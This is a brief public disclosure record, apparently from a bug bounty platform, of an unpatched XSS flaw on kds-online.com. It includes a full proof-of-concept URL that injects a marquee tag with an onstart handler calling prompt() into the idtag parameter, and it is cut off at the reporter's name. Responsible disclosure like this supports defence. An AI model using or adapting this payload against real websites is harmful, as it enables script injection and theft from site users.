kds-online.com XSS vulnerability

Vulnerable URL: http://www.kds-online.com/Shop6a/catalog/tagproducts.php?idtag=%27%22%3E%3Cmarquee/onstart=prompt%28/OPENBUGBOUNTY/%29%3E=en Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...